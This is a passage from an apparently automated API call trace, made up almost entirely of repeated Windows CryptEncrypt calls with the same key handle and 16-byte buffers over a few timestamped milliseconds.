pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.002] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.002] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.002] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.002] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.002] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.002] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.002] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.002] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.002] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.002] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.002] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.002] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.002] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.002] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.002] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.002] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.003] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.004] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, 